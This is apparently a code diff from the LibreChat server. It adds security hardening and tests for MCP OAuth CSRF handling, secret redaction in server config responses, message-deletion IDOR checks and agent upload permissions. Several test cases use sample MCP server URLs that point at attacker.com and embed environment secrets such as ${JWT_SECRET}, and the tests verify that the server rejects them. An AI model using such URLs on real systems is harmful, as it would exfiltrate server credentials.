createImportLimiters: jest.fn(() => ({
importIpLimiter: (req, res, next) => next(),
importUserLimiter: (req, res, next) => next(),
})),
createForkLimiters: jest.fn(() => ({
forkIpLimiter: (req, res, next) => next(),
forkUserLimiter: (req, res, next) => next(),
})),
configMiddleware: (req, res, next) => next(),
validateConvoAccess: (req, res, next) => next(),
}));
jest.mock('~/server/utils/import/fork', () => ({
forkConversation: jest.fn(),
duplicateConversation: jest.fn(),
}));
jest.mock('~/server/utils/import', () => ({
importConversations: jest.fn(),
}));
jest.mock('~/cache/getLogStores', () => jest.fn());
jest.mock('~/server/routes/files/multer', () => ({
storage: {},
importFileFilter: jest.fn(),
}));
jest.mock('multer', () => {
return jest.fn(() => ({
single: jest.fn(() => (req, res, next) => {
req.file = { path: '/tmp/test-file.json' };
next();
}),
}));
});
jest.mock('librechat-data-provider', () => ({
CacheKeys: {
GEN_TITLE: 'GEN_TITLE',
},
EModelEndpoint: {
azureAssistants: 'azureAssistants',
assistants: 'assistants',
},
}));
jest.mock('~/server/services/Endpoints/azureAssistants', () => ({
initializeClient: jest.fn(),
}));
jest.mock('~/server/services/Endpoints/assistants', () => ({
initializeClient: jest.fn(),
}));
describe('Convos Routes', () => { describe('Convos Routes', () => {
let app; let app;

View file

@ -32,6 +32,9 @@ jest.mock('@librechat/api', () => {
getFlowState: jest.fn(), getFlowState: jest.fn(),
completeOAuthFlow: jest.fn(), completeOAuthFlow: jest.fn(),
generateFlowId: jest.fn(), generateFlowId: jest.fn(),
resolveStateToFlowId: jest.fn(async (state) => state),
storeStateMapping: jest.fn(),
deleteStateMapping: jest.fn(),
}, },
MCPTokenStorage: { MCPTokenStorage: {
storeTokens: jest.fn(), storeTokens: jest.fn(),
@ -180,7 +183,10 @@ describe('MCP Routes', () => {
MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({ MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({
authorizationUrl: 'https://oauth.example.com/auth', authorizationUrl: 'https://oauth.example.com/auth',
flowId: 'test-user-id:test-server', flowId: 'test-user-id:test-server',
flowMetadata: { state: 'random-state-value' },
}); });
MCPOAuthHandler.storeStateMapping.mockResolvedValue();
mockFlowManager.initFlow = jest.fn().mockResolvedValue();
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({ const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'test-user-id', userId: 'test-user-id',
@ -367,6 +373,121 @@ describe('MCP Routes', () => {
expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`); expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`);
}); });
describe('CSRF fallback via active PENDING flow', () => {
it('should proceed when a fresh PENDING flow exists and no cookies are present', async () => {
const flowId = 'test-user-id:test-server';
const mockFlowManager = {
getFlowState: jest.fn().mockResolvedValue({
status: 'PENDING',
createdAt: Date.now(),
}),
completeFlow: jest.fn().mockResolvedValue(true),
deleteFlow: jest.fn().mockResolvedValue(true),
};
const mockFlowState = {
serverName: 'test-server',
userId: 'test-user-id',
metadata: {},
clientInfo: {},
codeVerifier: 'test-verifier',
};
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
MCPOAuthHandler.getFlowState.mockResolvedValue(mockFlowState);
MCPOAuthHandler.completeOAuthFlow.mockResolvedValue({
access_token: 'test-token',
});
MCPTokenStorage.storeTokens.mockResolvedValue();
mockRegistryInstance.getServerConfig.mockResolvedValue({});
const mockMcpManager = {
getUserConnection: jest.fn().mockResolvedValue({
fetchTools: jest.fn().mockResolvedValue([]),
}),
};
require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
require('~/config').getOAuthReconnectionManager.mockReturnValue({
clearReconnection: jest.fn(),
});
require('~/server/services/Config/mcp').updateMCPServerTools.mockResolvedValue();
const response = await request(app)
.get('/api/mcp/test-server/oauth/callback')
.query({ code: 'test-code', state: flowId });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toContain(`${basePath}/oauth/success`);
});
it('should reject when no PENDING flow exists and no cookies are present', async () => {
const flowId = 'test-user-id:test-server';
const mockFlowManager = {
getFlowState: jest.fn().mockResolvedValue(null),
};
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
const response = await request(app)
.get('/api/mcp/test-server/oauth/callback')
.query({ code: 'test-code', state: flowId });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(
`${basePath}/oauth/error?error=csrf_validation_failed`,
);
});
it('should reject when only a COMPLETED flow exists (not PENDING)', async () => {
const flowId = 'test-user-id:test-server';
const mockFlowManager = {
getFlowState: jest.fn().mockResolvedValue({
status: 'COMPLETED',
createdAt: Date.now(),
}),
};
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
const response = await request(app)
.get('/api/mcp/test-server/oauth/callback')
.query({ code: 'test-code', state: flowId });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(
`${basePath}/oauth/error?error=csrf_validation_failed`,
);
});
it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => {
const flowId = 'test-user-id:test-server';
const mockFlowManager = {
getFlowState: jest.fn().mockResolvedValue({
status: 'PENDING',
createdAt: Date.now() - 3 * 60 * 1000,
}),
};
getLogStores.mockReturnValue({});
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
const response = await request(app)
.get('/api/mcp/test-server/oauth/callback')
.query({ code: 'test-code', state: flowId });
const basePath = getBasePath();
expect(response.status).toBe(302);
expect(response.headers.location).toBe(
`${basePath}/oauth/error?error=csrf_validation_failed`,
);
});
});
it('should handle OAuth callback successfully', async () => { it('should handle OAuth callback successfully', async () => {
// mockRegistryInstance is defined at the top of the file // mockRegistryInstance is defined at the top of the file
const mockFlowManager = { const mockFlowManager = {
@ -1572,12 +1693,14 @@ describe('MCP Routes', () => {
it('should return all server configs for authenticated user', async () => { it('should return all server configs for authenticated user', async () => {
const mockServerConfigs = { const mockServerConfigs = {
'server-1': { 'server-1': {
endpoint: 'http://server1.com', type: 'sse',
name: 'Server 1', url: 'http://server1.com/sse',
title: 'Server 1',
}, },
'server-2': { 'server-2': {
endpoint: 'http://server2.com', type: 'sse',
name: 'Server 2', url: 'http://server2.com/sse',
title: 'Server 2',
}, },
}; };
@ -1586,7 +1709,18 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers'); const response = await request(app).get('/api/mcp/servers');
expect(response.status).toBe(200); expect(response.status).toBe(200);
expect(response.body).toEqual(mockServerConfigs); expect(response.body['server-1']).toMatchObject({
type: 'sse',
url: 'http://server1.com/sse',
title: 'Server 1',
});
expect(response.body['server-2']).toMatchObject({
type: 'sse',
url: 'http://server2.com/sse',
title: 'Server 2',
});
expect(response.body['server-1'].headers).toBeUndefined();
expect(response.body['server-2'].headers).toBeUndefined();
expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id'); expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id');
}); });
@ -1641,10 +1775,10 @@ describe('MCP Routes', () => {
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig }); const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
expect(response.status).toBe(201); expect(response.status).toBe(201);
expect(response.body).toEqual({ expect(response.body.serverName).toBe('test-sse-server');
serverName: 'test-sse-server', expect(response.body.type).toBe('sse');
...validConfig, expect(response.body.url).toBe('https://mcp-server.example.com/sse');
}); expect(response.body.title).toBe('Test SSE Server');
expect(mockRegistryInstance.addServer).toHaveBeenCalledWith( expect(mockRegistryInstance.addServer).toHaveBeenCalledWith(
'temp_server_name', 'temp_server_name',
expect.objectContaining({ expect.objectContaining({
@ -1698,6 +1832,78 @@ describe('MCP Routes', () => {
expect(response.body.message).toBe('Invalid configuration'); expect(response.body.message).toBe('Invalid configuration');
}); });
it('should reject SSE URL containing env variable references', async () => {
const response = await request(app)
.post('/api/mcp/servers')
.send({
config: {
type: 'sse',
url: 'http://attacker.com/?secret=${JWT_SECRET}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
});
it('should reject streamable-http URL containing env variable references', async () => {
const response = await request(app)
.post('/api/mcp/servers')
.send({
config: {
type: 'streamable-http',
url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
});
it('should reject websocket URL containing env variable references', async () => {
const response = await request(app)
.post('/api/mcp/servers')
.send({
config: {
type: 'websocket',
url: 'ws://attacker.com/?secret=${MONGO_URI}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
});
it('should redact secrets from create response', async () => {
const validConfig = {
type: 'sse',
url: 'https://mcp-server.example.com/sse',
title: 'Test Server',
};
mockRegistryInstance.addServer.mockResolvedValue({
serverName: 'test-server',
config: {
...validConfig,
apiKey: { source: 'admin', authorization_type: 'bearer', key: 'admin-secret-key' },
oauth: { client_id: 'cid', client_secret: 'admin-oauth-secret' },
headers: { Authorization: 'Bearer leaked-token' },
},
});
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
expect(response.status).toBe(201);
expect(response.body.apiKey?.key).toBeUndefined();
expect(response.body.oauth?.client_secret).toBeUndefined();
expect(response.body.headers).toBeUndefined();
expect(response.body.apiKey?.source).toBe('admin');
expect(response.body.oauth?.client_id).toBe('cid');
});
it('should return 500 when registry throws error', async () => { it('should return 500 when registry throws error', async () => {
const validConfig = { const validConfig = {
type: 'sse', type: 'sse',
@ -1727,7 +1933,9 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers/test-server'); const response = await request(app).get('/api/mcp/servers/test-server');
expect(response.status).toBe(200); expect(response.status).toBe(200);
expect(response.body).toEqual(mockConfig); expect(response.body.type).toBe('sse');
expect(response.body.url).toBe('https://mcp-server.example.com/sse');
expect(response.body.title).toBe('Test Server');
expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith( expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith(
'test-server', 'test-server',
'test-user-id', 'test-user-id',
@ -1743,6 +1951,29 @@ describe('MCP Routes', () => {
expect(response.body).toEqual({ message: 'MCP server not found' }); expect(response.body).toEqual({ message: 'MCP server not found' });
}); });
it('should redact secrets from get response', async () => {
mockRegistryInstance.getServerConfig.mockResolvedValue({
type: 'sse',
url: 'https://mcp-server.example.com/sse',
title: 'Secret Server',
apiKey: { source: 'admin', authorization_type: 'bearer', key: 'decrypted-admin-key' },
oauth: { client_id: 'cid', client_secret: 'decrypted-oauth-secret' },
headers: { Authorization: 'Bearer internal-token' },
oauth_headers: { 'X-OAuth': 'secret-value' },
});
const response = await request(app).get('/api/mcp/servers/secret-server');
expect(response.status).toBe(200);
expect(response.body.title).toBe('Secret Server');
expect(response.body.apiKey?.key).toBeUndefined();
expect(response.body.apiKey?.source).toBe('admin');
expect(response.body.oauth?.client_secret).toBeUndefined();
expect(response.body.oauth?.client_id).toBe('cid');
expect(response.body.headers).toBeUndefined();
expect(response.body.oauth_headers).toBeUndefined();
});
it('should return 500 when registry throws error', async () => { it('should return 500 when registry throws error', async () => {
mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error')); mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error'));
@ -1769,7 +2000,9 @@ describe('MCP Routes', () => {
.send({ config: updatedConfig }); .send({ config: updatedConfig });
expect(response.status).toBe(200); expect(response.status).toBe(200);
expect(response.body).toEqual(updatedConfig); expect(response.body.type).toBe('sse');
expect(response.body.url).toBe('https://updated-mcp-server.example.com/sse');
expect(response.body.title).toBe('Updated Server');
expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith( expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith(
'test-server', 'test-server',
expect.objectContaining({ expect.objectContaining({
@ -1781,6 +2014,35 @@ describe('MCP Routes', () => {
); );
}); });
it('should redact secrets from update response', async () => {
const validConfig = {
type: 'sse',
url: 'https://mcp-server.example.com/sse',
title: 'Updated Server',
};
mockRegistryInstance.updateServer.mockResolvedValue({
...validConfig,
apiKey: { source: 'admin', authorization_type: 'bearer', key: 'preserved-admin-key' },
oauth: { client_id: 'cid', client_secret: 'preserved-oauth-secret' },
headers: { Authorization: 'Bearer internal-token' },
env: { DATABASE_URL: 'postgres://admin:pass@localhost/db' },
});
const response = await request(app)
.patch('/api/mcp/servers/test-server')
.send({ config: validConfig });
expect(response.status).toBe(200);
expect(response.body.title).toBe('Updated Server');
expect(response.body.apiKey?.key).toBeUndefined();
expect(response.body.apiKey?.source).toBe('admin');
expect(response.body.oauth?.client_secret).toBeUndefined();
expect(response.body.oauth?.client_id).toBe('cid');
expect(response.body.headers).toBeUndefined();
expect(response.body.env).toBeUndefined();
});
it('should return 400 for invalid configuration', async () => { it('should return 400 for invalid configuration', async () => {
const invalidConfig = { const invalidConfig = {
type: 'sse', type: 'sse',
@ -1797,6 +2059,51 @@ describe('MCP Routes', () => {
expect(response.body.errors).toBeDefined(); expect(response.body.errors).toBeDefined();
}); });
it('should reject SSE URL containing env variable references', async () => {
const response = await request(app)
.patch('/api/mcp/servers/test-server')
.send({
config: {
type: 'sse',
url: 'http://attacker.com/?secret=${JWT_SECRET}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
});
it('should reject streamable-http URL containing env variable references', async () => {
const response = await request(app)
.patch('/api/mcp/servers/test-server')
.send({
config: {
type: 'streamable-http',
url: 'http://attacker.com/?key=${CREDS_KEY}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
});
it('should reject websocket URL containing env variable references', async () => {
const response = await request(app)
.patch('/api/mcp/servers/test-server')
.send({
config: {
type: 'websocket',
url: 'ws://attacker.com/?secret=${MONGO_URI}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
});
it('should return 500 when registry throws error', async () => { it('should return 500 when registry throws error', async () => {
const validConfig = { const validConfig = {
type: 'sse', type: 'sse',

View file

@ -0,0 +1,200 @@
const mongoose = require('mongoose');
const express = require('express');
const request = require('supertest');
const { v4: uuidv4 } = require('uuid');
const { MongoMemoryServer } = require('mongodb-memory-server');
jest.mock('@librechat/agents', () => ({
sleep: jest.fn(),
}));
jest.mock('@librechat/api', () => ({
unescapeLaTeX: jest.fn((x) => x),
countTokens: jest.fn().mockResolvedValue(10),
}));
jest.mock('@librechat/data-schemas', () => ({
...jest.requireActual('@librechat/data-schemas'),
logger: {
debug: jest.fn(),
info: jest.fn(),
warn: jest.fn(),
error: jest.fn(),
},
}));
jest.mock('librechat-data-provider', () => ({
...jest.requireActual('librechat-data-provider'),
}));
jest.mock('~/models', () => ({
saveConvo: jest.fn(),
getMessage: jest.fn(),
saveMessage: jest.fn(),
getMessages: jest.fn(),
updateMessage: jest.fn(),
deleteMessages: jest.fn(),
}));
jest.mock('~/server/services/Artifacts/update', () => ({
findAllArtifacts: jest.fn(),
replaceArtifactContent: jest.fn(),
}));
jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
jest.mock('~/server/middleware', () => ({
requireJwtAuth: (req, res, next) => next(),
validateMessageReq: (req, res, next) => next(),
}));
jest.mock('~/models/Conversation', () => ({
getConvosQueried: jest.fn(),
}));
jest.mock('~/db/models', () => ({
Message: {
findOne: jest.fn(),
find: jest.fn(),
meiliSearch: jest.fn(),
},
}));
/* ─── Model-level tests: real MongoDB, proves cross-user deletion is prevented ─── */
const { messageSchema } = require('@librechat/data-schemas');
describe('deleteMessages model-level IDOR prevention', () => {
let mongoServer;
let Message;
const ownerUserId = 'user-owner-111';
const attackerUserId = 'user-attacker-222';
beforeAll(async () => {
mongoServer = await MongoMemoryServer.create();
Message = mongoose.models.Message || mongoose.model('Message', messageSchema);
await mongoose.connect(mongoServer.getUri());
});
afterAll(async () => {
await mongoose.disconnect();
await mongoServer.stop();
});
beforeEach(async () => {
await Message.deleteMany({});
});
it("should NOT delete another user's message when attacker supplies victim messageId", async () => {
const conversationId = uuidv4();
const victimMsgId = 'victim-msg-001';
await Message.create({
messageId: victimMsgId,
conversationId,
user: ownerUserId,
text: 'Sensitive owner data',
});
await Message.deleteMany({ messageId: victimMsgId, user: attackerUserId });
const victimMsg = await Message.findOne({ messageId: victimMsgId }).lean();
expect(victimMsg).not.toBeNull();
expect(victimMsg.user).toBe(ownerUserId);
expect(victimMsg.text).toBe('Sensitive owner data');
});
it("should delete the user's own message", async () => {
const conversationId = uuidv4();
const ownMsgId = 'own-msg-001';
await Message.create({
messageId: ownMsgId,
conversationId,
user: ownerUserId,
text: 'My message',
});
const result = await Message.deleteMany({ messageId: ownMsgId, user: ownerUserId });
expect(result.deletedCount).toBe(1);
const deleted = await Message.findOne({ messageId: ownMsgId }).lean();
expect(deleted).toBeNull();
});
it('should scope deletion by conversationId, messageId, and user together', async () => {
const convoA = uuidv4();
const convoB = uuidv4();
await Message.create([
{ messageId: 'msg-a1', conversationId: convoA, user: ownerUserId, text: 'A1' },
{ messageId: 'msg-b1', conversationId: convoB, user: ownerUserId, text: 'B1' },
]);
await Message.deleteMany({ messageId: 'msg-a1', conversationId: convoA, user: attackerUserId });
const remaining = await Message.find({ user: ownerUserId }).lean();
expect(remaining).toHaveLength(2);
});
});
/* ─── Route-level tests: supertest + mocked deleteMessages ─── */
describe('DELETE /:conversationId/:messageId route handler', () => {
let app;
const { deleteMessages } = require('~/models');
const authenticatedUserId = 'user-owner-123';
beforeAll(() => {
const messagesRouter = require('../messages');
app = express();
app.use(express.json());
app.use((req, res, next) => {
req.user = { id: authenticatedUserId };
next();
});
app.use('/api/messages', messagesRouter);
});
beforeEach(() => {
jest.clearAllMocks();
});
it('should pass user and conversationId in the deleteMessages filter', async () => {
deleteMessages.mockResolvedValue({ deletedCount: 1 });
await request(app).delete('/api/messages/convo-1/msg-1');
expect(deleteMessages).toHaveBeenCalledTimes(1);
expect(deleteMessages).toHaveBeenCalledWith({
messageId: 'msg-1',
conversationId: 'convo-1',
user: authenticatedUserId,
});
});
it('should return 204 on successful deletion', async () => {
deleteMessages.mockResolvedValue({ deletedCount: 1 });
const response = await request(app).delete('/api/messages/convo-1/msg-owned');
expect(response.status).toBe(204);
expect(deleteMessages).toHaveBeenCalledWith({
messageId: 'msg-owned',
conversationId: 'convo-1',
user: authenticatedUserId,
});
});
it('should return 500 when deleteMessages throws', async () => {
deleteMessages.mockRejectedValue(new Error('DB failure'));
const response = await request(app).delete('/api/messages/convo-1/msg-1');
expect(response.status).toBe(500);
expect(response.body).toEqual({ error: 'Internal server error' });
});
});

View file

@ -63,7 +63,7 @@ router.post(
resetPasswordController, resetPasswordController,
); );
router.get('/2fa/enable', middleware.requireJwtAuth, enable2FA); router.post('/2fa/enable', middleware.requireJwtAuth, enable2FA);
router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA); router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA);
router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken); router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken);
router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA); router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA);

View file

@ -16,9 +16,7 @@ const sharedLinksEnabled =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS); process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
const publicSharedLinksEnabled = const publicSharedLinksEnabled =
sharedLinksEnabled && sharedLinksEnabled && isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
(process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC));
const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER); const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER);
const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS); const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS);

View file

@ -1,7 +1,7 @@
const multer = require('multer'); const multer = require('multer');
const express = require('express'); const express = require('express');
const { sleep } = require('@librechat/agents'); const { sleep } = require('@librechat/agents');
const { isEnabled } = require('@librechat/api'); const { isEnabled, resolveImportMaxFileSize } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas'); const { logger } = require('@librechat/data-schemas');
const { CacheKeys, EModelEndpoint } = require('librechat-data-provider'); const { CacheKeys, EModelEndpoint } = require('librechat-data-provider');
const { const {
@ -224,8 +224,27 @@ router.post('/update', validateConvoAccess, async (req, res) => {
}); });
const { importIpLimiter, importUserLimiter } = createImportLimiters(); const { importIpLimiter, importUserLimiter } = createImportLimiters();
/** Fork and duplicate share one rate-limit budget (same "clone" operation class) */
const { forkIpLimiter, forkUserLimiter } = createForkLimiters(); const { forkIpLimiter, forkUserLimiter } = createForkLimiters();
const upload = multer({ storage: storage, fileFilter: importFileFilter }); const importMaxFileSize = resolveImportMaxFileSize();
const upload = multer({
storage,
fileFilter: importFileFilter,
limits: { fileSize: importMaxFileSize },
});
const uploadSingle = upload.single('file');
function handleUpload(req, res, next) {
uploadSingle(req, res, (err) => {
if (err && err.code === 'LIMIT_FILE_SIZE') {
return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
}
if (err) {
return next(err);
}
next();
});
}
/** /**
* Imports a conversation from a JSON file and saves it to the database. * Imports a conversation from a JSON file and saves it to the database.
@ -238,7 +257,7 @@ router.post(
importIpLimiter, importIpLimiter,
importUserLimiter, importUserLimiter,
configMiddleware, configMiddleware,
upload.single('file'), handleUpload,
async (req, res) => { async (req, res) => {
try { try {
/* TODO: optimize to return imported conversations and add manually */ /* TODO: optimize to return imported conversations and add manually */
@ -280,7 +299,7 @@ router.post('/fork', forkIpLimiter, forkUserLimiter, async (req, res) => {
} }
}); });
router.post('/duplicate', async (req, res) => { router.post('/duplicate', forkIpLimiter, forkUserLimiter, async (req, res) => {
const { conversationId, title } = req.body; const { conversationId, title } = req.body;
try { try {

View file

@ -2,12 +2,12 @@ const fs = require('fs').promises;
const express = require('express'); const express = require('express');
const { EnvVar } = require('@librechat/agents'); const { EnvVar } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas'); const { logger } = require('@librechat/data-schemas');
const { verifyAgentUploadPermission } = require('@librechat/api');
const { const {
Time, Time,
isUUID, isUUID,
CacheKeys, CacheKeys,
FileSources, FileSources,
SystemRoles,
ResourceType, ResourceType,
EModelEndpoint, EModelEndpoint,
PermissionBits, PermissionBits,
@ -381,48 +381,15 @@ router.post('/', async (req, res) => {
return await processFileUpload({ req, res, metadata }); return await processFileUpload({ req, res, metadata });
} }
/** const denied = await verifyAgentUploadPermission({
* Check agent permissions for permanent agent file uploads (not message attachments). req,
* Message attachments (message_file=true) are temporary files for a single conversation res,
* and should be allowed for users who can chat with the agent. metadata,
* Permanent file uploads to tool_resources require EDIT permission. getAgent,
*/ checkPermission,
const isMessageAttachment = metadata.message_file === true || metadata.message_file === 'true'; });
if (metadata.agent_id && metadata.tool_resource && !isMessageAttachment) { if (denied) {
const userId = req.user.id; return;
/** Admin users bypass permission checks */
if (req.user.role !== SystemRoles.ADMIN) {
const agent = await getAgent({ id: metadata.agent_id });
if (!agent) {
return res.status(404).json({
error: 'Not Found',
message: 'Agent not found',
});
}
/** Check if user is the author or has edit permission */
if (agent.author.toString() !== userId) {
const hasEditPermission = await checkPermission({
userId,
role: req.user.role,
resourceType: ResourceType.AGENT,
resourceId: agent._id,
requiredPermission: PermissionBits.EDIT,
});
if (!hasEditPermission) {
logger.warn(
`[/files] User ${userId} denied upload to agent ${metadata.agent_id} (insufficient permissions)`,
);
return res.status(403).json({
error: 'Forbidden',
message: 'Insufficient permissions to upload files to this agent',
});
}
}
}
} }
return await processAgentFileUpload({ req, res, metadata }); return await processAgentFileUpload({ req, res, metadata });

View file

@ -0,0 +1,376 @@
const express = require('express');
const request = require('supertest');
const mongoose = require('mongoose');
const { v4: uuidv4 } = require('uuid');
const { createMethods } = require('@librechat/data-schemas');
const { MongoMemoryServer } = require('mongodb-memory-server');
const {
SystemRoles,
AccessRoleIds,
ResourceType,
PrincipalType,
} = require('librechat-data-provider');
const { createAgent } = require('~/models/Agent');
jest.mock('~/server/services/Files/process', () => ({
processAgentFileUpload: jest.fn().mockImplementation(async ({ res }) => {
return res.status(200).json({ message: 'Agent file uploaded', file_id: 'test-file-id' });
}),
processImageFile: jest.fn().mockImplementation(async ({ res }) => {
return res.status(200).json({ message: 'Image processed' });
}),
filterFile: jest.fn(),
}));
jest.mock('fs', () => {
const actualFs = jest.requireActual('fs');
return {
...actualFs,
promises: {
...actualFs.promises,
unlink: jest.fn().mockResolvedValue(undefined),
},
};
});
const fs = require('fs');
const { processAgentFileUpload } = require('~/server/services/Files/process');
const router = require('~/server/routes/files/images');
describe('POST /images - Agent Upload Permission Check (Integration)', () => {
let mongoServer;
let authorId;
let otherUserId;
let agentCustomId;
let User;
let Agent;
let AclEntry;
let methods;
let modelsToCleanup = [];
beforeAll(async () => {
mongoServer = await MongoMemoryServer.create();
const mongoUri = mongoServer.getUri();
await mongoose.connect(mongoUri);
const { createModels } = require('@librechat/data-schemas');
const models = createModels(mongoose);
modelsToCleanup = Object.keys(models);
Object.assign(mongoose.models, models);
methods = createMethods(mongoose);
User = models.User;
Agent = models.Agent;
AclEntry = models.AclEntry;
await methods.seedDefaultRoles();
});
afterAll(async () => {
const collections = mongoose.connection.collections;
for (const key in collections) {
await collections[key].deleteMany({});
}
for (const modelName of modelsToCleanup) {
if (mongoose.models[modelName]) {
delete mongoose.models[modelName];
}
}
await mongoose.disconnect();
await mongoServer.stop();
});
beforeEach(async () => {
await Agent.deleteMany({});
await User.deleteMany({});
await AclEntry.deleteMany({});
authorId = new mongoose.Types.ObjectId();
otherUserId = new mongoose.Types.ObjectId();
agentCustomId = `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`;
await User.create({ _id: authorId, username: 'author', email: 'author@test.com' });
await User.create({ _id: otherUserId, username: 'other', email: 'other@test.com' });
jest.clearAllMocks();
});
const createAppWithUser = (userId, userRole = SystemRoles.USER) => {
const app = express();
app.use(express.json());
app.use((req, _res, next) => {
if (req.method === 'POST') {
req.file = {
originalname: 'test.png',
mimetype: 'image/png',
size: 100,
path: '/tmp/t.png',
filename: 'test.png',
};
req.file_id = uuidv4();
}
next();
});
app.use((req, _res, next) => {
req.user = { id: userId.toString(), role: userRole };
req.app = { locals: {} };
req.config = { fileStrategy: 'local', paths: { imageOutput: '/tmp/images' } };
next();
});
app.use('/images', router);
return app;
};
it('should return 403 when user has no permission on agent', async () => {
await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
file_id: uuidv4(),
});
expect(response.status).toBe(403);
expect(response.body.error).toBe('Forbidden');
expect(processAgentFileUpload).not.toHaveBeenCalled();
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
});
it('should allow upload for agent owner', async () => {
await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const app = createAppWithUser(authorId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
file_id: uuidv4(),
});
expect(response.status).toBe(200);
expect(processAgentFileUpload).toHaveBeenCalled();
});
it('should allow upload for admin regardless of ownership', async () => {
await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const app = createAppWithUser(otherUserId, SystemRoles.ADMIN);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
file_id: uuidv4(),
});
expect(response.status).toBe(200);
expect(processAgentFileUpload).toHaveBeenCalled();
});
it('should allow upload for user with EDIT permission', async () => {
const agent = await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const { grantPermission } = require('~/server/services/PermissionService');
await grantPermission({
principalType: PrincipalType.USER,
principalId: otherUserId,
resourceType: ResourceType.AGENT,
resourceId: agent._id,
accessRoleId: AccessRoleIds.AGENT_EDITOR,
grantedBy: authorId,
});
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
file_id: uuidv4(),
});
expect(response.status).toBe(200);
expect(processAgentFileUpload).toHaveBeenCalled();
});
it('should deny upload for user with only VIEW permission', async () => {
const agent = await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const { grantPermission } = require('~/server/services/PermissionService');
await grantPermission({
principalType: PrincipalType.USER,
principalId: otherUserId,
resourceType: ResourceType.AGENT,
resourceId: agent._id,
accessRoleId: AccessRoleIds.AGENT_VIEWER,
grantedBy: authorId,
});
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
file_id: uuidv4(),
});
